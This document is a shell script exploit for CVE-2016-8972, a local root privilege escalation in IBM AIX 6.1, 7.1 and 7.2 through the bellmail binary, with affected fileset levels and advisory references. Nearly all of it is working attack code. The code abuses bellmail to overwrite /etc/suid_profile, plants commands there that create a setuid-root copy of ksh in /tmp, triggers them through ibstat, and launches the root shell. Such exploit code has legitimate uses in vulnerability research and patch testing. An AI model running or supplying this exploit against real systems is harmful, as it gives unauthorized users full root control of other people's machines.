IBM AIX 6.1 / 7.1 / 7.2 Bellmail Privilege Escalation

`#!/usr/bin/sh  
#  
# CVE-2016-8972/bellmailroot.sh: IBM AIX Bellmail local root  
#  
# Affected versions:  
# AIX 6.1, 7.1, 7.2  
# VIOS 2.2.x  
#  
# Fileset Lower Level Upper Level KEY  
# ---------------------------------------------------------  
# bos.net.tcp.client 6.1.9.0 6.1.9.200 key_w_fs  
# bos.net.tcp.client 7.1.3.0 7.1.3.47 key_w_fs  
# bos.net.tcp.client 7.1.4.0 7.1.4.30 key_w_fs  
# bos.net.tcp.client_core 7.2.0.0 7.2.0.1 key_w_fs  
# bos.net.tcp.client_core 7.2.1.0 7.2.1.0 key_w_fs  
#  
# Ref: http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc  
# Ref: https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/  
# @hxmonsegur //RSL - https://www.rhinosecuritylabs.com  
  
ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')  
VULNBIN=/usr/bin/bellmail  
SUIDPROFILE=/etc/suid_profile  
  
function ESCALATE  
{  
echo "[*] Preparing escalation"  
  
$VULNBIN >/dev/null 2>&1 <<EOD  
s /etc/suid_profile  
EOD  
  
if [ ! -w $SUIDPROFILE ]; then  
echo "[-] $SUIDPROFILE is not writable. Exploit failed."  
exit 1  
fi  
  
echo "[*] Clearing out $SUIDPROFILE"  
echo > /etc/suid_profile  
  
echo "[*] Injecting payload"  
cat << EOF >$SUIDPROFILE  
cp /bin/ksh $ROOTSHELL  
/usr/bin/syscall setreuid 0 0  
chown root:system $ROOTSHELL  
chmod 6755 $ROOTSHELL  
rm -f $SUIDPROFILE  
EOF  
  
echo "[*] Executing SUID to leverage privileges"  
/usr/bin/ibstat -a >/dev/null 2>&1  
  
if [ ! -x $ROOTSHELL ]; then  
echo "[-] Root shell does not exist or is not executable. Exploit failed."  
exit 1  
fi  
  
echo "[*] Escalating to root.."  
$ROOTSHELL  
echo "[*] Make sure to remove $ROOTSHELL"  
}  
  
echo "[*] IBM AIX 6.1, 7.1, 7.2 Bellmail Local root @hxmonsegur//RSL"  
  
$VULNBIN -e  
if [ $? -eq 0 ]  
then  
ESCALATE  
echo "[*] Make sure to remove $ROOTSHELL"  
exit 0  
fi  
  
echo "[*] Sending mail to non-existent user, force a bounce within ~minute"  
/usr/bin/mail nonexistentuser <<EOD  
.  
.  
.  
EOD  
  
echo "[*] Waiting for mail to come in."  
  
while true  
do  
$VULNBIN -e  
if [ $? -eq 0 ]  
then  
echo "[*] Mail found"  
ESCALATE  
break  
else  
echo "[-] Mail not received yet. Sleeping."  
sleep 10  
fi  
done  
  
`